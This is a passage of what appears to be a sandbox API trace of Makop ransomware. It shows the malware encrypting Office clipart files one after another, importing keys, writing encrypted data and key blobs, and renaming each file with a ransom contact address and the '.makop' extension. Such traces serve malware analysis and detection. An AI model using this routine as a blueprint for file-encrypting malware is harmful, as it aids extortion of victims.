(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.786] CloseHandle (hObject=0xf0) returned 1 [0120.786] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1 [0120.786] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0120.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.787] GetProcessHeap () returned 0x48a0000 [0120.787] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.787] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.787] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0120.792] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.792] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.792] GetProcessHeap () returned 0x48a0000 [0120.793] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.793] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.793] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.793] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.793] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.793] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.793] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.794] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.794] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.794] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.794] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3a94, lpOverlapped=0x0) returned 1 [0120.796] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3aa0, dwBufLen=0x3aa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3aa0) returned 1 [0120.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.796] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3aa0, lpOverlapped=0x0) returned 1 [0120.797] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.797] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.797] SetEndOfFile (hFile=0xf0) returned 1 [0120.804] GetProcessHeap () returned 0x48a0000 [0120.805] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.805] GetProcessHeap () returned 0x48a0000 [0120.805] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.805] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.806] CloseHandle (hObject=0xf0) returned 1 [0120.806] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1 [0120.806] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0120.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.808] GetProcessHeap () returned 0x48a0000 [0120.808] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.809] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.809] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.809] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.813] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.813] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.813] GetProcessHeap () returned 0x48a0000 [0120.813] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.814] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.814] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.814] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.814] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.814] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.814] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.815] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.815] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.815] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.815] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.815] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4ea8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4ea8, lpOverlapped=0x0) returned 1 [0120.817] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4eb0, dwBufLen=0x4eb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4eb0) returned 1 [0120.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4eb0, lpOverlapped=0x0) returned 1 [0120.817] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.818] SetEndOfFile (hFile=0xf0) returned 1 [0120.826] GetProcessHeap () returned 0x48a0000 [0120.826] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.826] GetProcessHeap () returned 0x48a0000 [0120.826] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.826] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.827] CloseHandle (hObject=0xf0) returned 1 [0120.827] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1 [0120.828] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0120.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.828] GetProcessHeap () returned 0x48a0000 [0120.828] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.828] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.829] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.829] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.829] GetProcessHeap () returned 0x48a0000 [0120.829] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.829] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.829] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.834] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.834] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.835] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.835] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.835] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3490, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3490, lpOverlapped=0x0) returned 1 [0120.836] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3490, dwBufLen=0x3490 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3490) returned 1 [0120.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.837] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3490, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3490, lpOverlapped=0x0) returned 1 [0120.837] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.837] SetEndOfFile (hFile=0xf0) returned 1 [0120.845] GetProcessHeap () returned 0x48a0000 [0120.845] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.845] GetProcessHeap () returned 0x48a0000 [0120.845] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.845] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.851] CloseHandle (hObject=0xf0) returned 1 [0120.851] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1 [0120.851] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0120.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.852] GetProcessHeap () returned 0x48a0000 [0120.853] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.853] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.853] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.853] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0120.857] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.857] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.857] GetProcessHeap () returned 0x48a0000 [0120.857] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.857] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.858] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.859] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.859] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.859] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5804, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5804, lpOverlapped=0x0) returned 1 [0120.861] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5810, dwBufLen=0x5810 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5810) returned 1 [0120.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.861] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5810, lpOverlapped=0x0) returned 1 [0120.862] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.862] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x58e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.862] SetEndOfFile (hFile=0xf0) returned 1 [0120.880] GetProcessHeap () returned 0x48a0000 [0120.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 